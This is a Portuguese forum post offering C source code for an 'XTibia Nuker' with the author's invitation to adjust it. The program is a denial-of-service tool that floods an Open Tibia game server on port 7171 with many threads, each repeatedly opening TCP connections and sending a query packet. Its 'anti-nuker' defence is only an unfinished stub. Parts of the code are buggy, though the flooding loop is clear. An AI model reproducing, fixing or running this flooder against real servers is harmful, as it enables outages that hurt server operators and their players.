Versao 1.0 beta finalmente saiu...
O nuker tah quase pronto so falta alguns ajustes saum 5:45 da manha n to afim de faze isso agora... o anti nuker vcs que façam...
/////////////////////////////////
// XTibia Nuker/Anti-Nuker 1.0 //
/////////////////////////////////
#include <winsock2.h>
#include <ws2tcpip.h>
#include <process.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/timeb.h>
#include <iostream>
#include <windows.h>
//Macros
#define CREATE_THREAD(a, b) _beginthread(a, 0, b)
#define END_THREAD _endthread(); return;
#define THREAD_RETURN void
#define ClearSock() WSACleanup()
#define SLEEP(a) sleep(a)
//#define LOG_ON //LOG connections?
//Prev declared functions
THREAD_RETURN Send_TCPConnection(void *dat); //TCP Connection
unsigned long ResolveDNS(char *name);
int ValidIp(char *ip);
//Get local time
inline unsigned long long TIME()
{
struct _timeb t;
_ftime(&t);
return (((unsigned long long)t.time * 1000) + (unsigned long long)t.millitm);
}
//Global Variables
unsigned long long startedTime = 0;
unsigned long long duration = 60000;
unsigned int server = 0;
int port = 7171;
int threads = 0;
int maxThreads = 100;
unsigned long mode = 0;
char *buff = "\x06\x00\xff\xff\x69\x6e\x66\x6f";
int len = 8;
struct sockaddr_in sktsin;
int Ping(int argc, char *argv[])
{
WSADATA wsaData;
if (WSAStartup(MAKEWORD(1,1), &wsaData) != 0) {
printf("Winsock startup failed!\n",1);
return -1;
}
if(argc < 4)
{
printf("Usage: %s <server> <port> <threads> <time>\n",argv[0]);
printf("Threads between 1-10000.\n");
printf("Time in ms.\n");
return 0;
}
server = ResolveDNS(argv[1]);
port = atoi(argv[2]);
maxThreads = atoi(argv[3]);
duration = atoi(argv[4]);
sktsin.sin_port = htons(port);
sktsin.sin_family = AF_INET;
sktsin.sin_addr.s_addr = server;
startedTime = TIME();
printf("Attacking...");
while((TIME()-startedTime) <= duration)
{
if(threads < maxThreads)
CREATE_THREAD(Send_TCPConnection,NULL);
Sleep(1);
}
return -1;
}
//Send thread
THREAD_RETURN Send_TCPConnection(void *dat)
{
threads++;
while((TIME()-startedTime) < duration)
{
SOCKET sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if(connect(sock, (struct sockaddr*)&sktsin, sizeof(sktsin)) < 0)
{
#ifdef LOG_ON
printf("SERVER REFUSED! ERROR: %i\n",WSAGetLastError());
#endif
continue;
}
#ifdef LOG_ON
printf("CONECTED!\n");
#endif
mode = 1;
ioctlsocket(sock, FIONBIO, &mode);
send(sock,buff,len,0);
mode = 0;
ioctlsocket(sock, FIONBIO, &mode);
closesocket(sock);
}
threads--;
END_THREAD
}
int main()
{
int menu;
bool noquit = true;
while(noquit)
{
system("cls");
system("color 0c");
system("title XTibia OT Nuker/Anti-Nuker 1.0");
printf("1 - Anti Nuker\n");
printf("2 - Nucker\n");
printf("3 - Sair\n\n");
printf(">>> ");
scanf("%d", &menu);
switch(menu)
{
case 1:
{
system("cls");
printf("Em construcao...\n\n");
system("pause");
break;
}
case 2:
{
system("cls");
printf("Digite o IP: ");
scanf("%s", server);
char *ip[1];
Ping(5,ip);
system("pause");
break;
}
case 3:
{
noquit = false;
}
}
}
// .... Em desenvolvimento ... \\
return 0;
}
//Resolve a hostname
unsigned long ResolveDNS(char *name)
{
unsigned long addr;
struct hostent *he;
he = gethostbyname(name);
if(!he) {
if(ValidIp(name) == 0 || (addr = inet_addr(name)) == (unsigned long)-1)
return 0;
} else {
addr = *(unsigned long *)he->h_addr;
}
return addr;
}
//Verify if is a valid ip
int ValidIp(char *ip)
{
int a, b, c, d, *x;
sscanf(ip, "%d.%d.%d.%d", &a, &b, &c, &d);
x = &a;
if(*x < 0) return 0;
if(*x > 255) return 0;
x = &b;
if(*x < 0) return 0;
if(*x > 255) return 0;
x = &c;
if(*x < 0) return 0;
if(*x > 255) return 0;
x = &d;
if(*x < 0) return 0;
if(*x > 255) return 0;
sprintf(ip, "%d.%d.%d.%d", a, b, c, d); // truncate possible garbage data
return 1;
}
Enjoy dps do uma ajustada nisso falta algumas coisas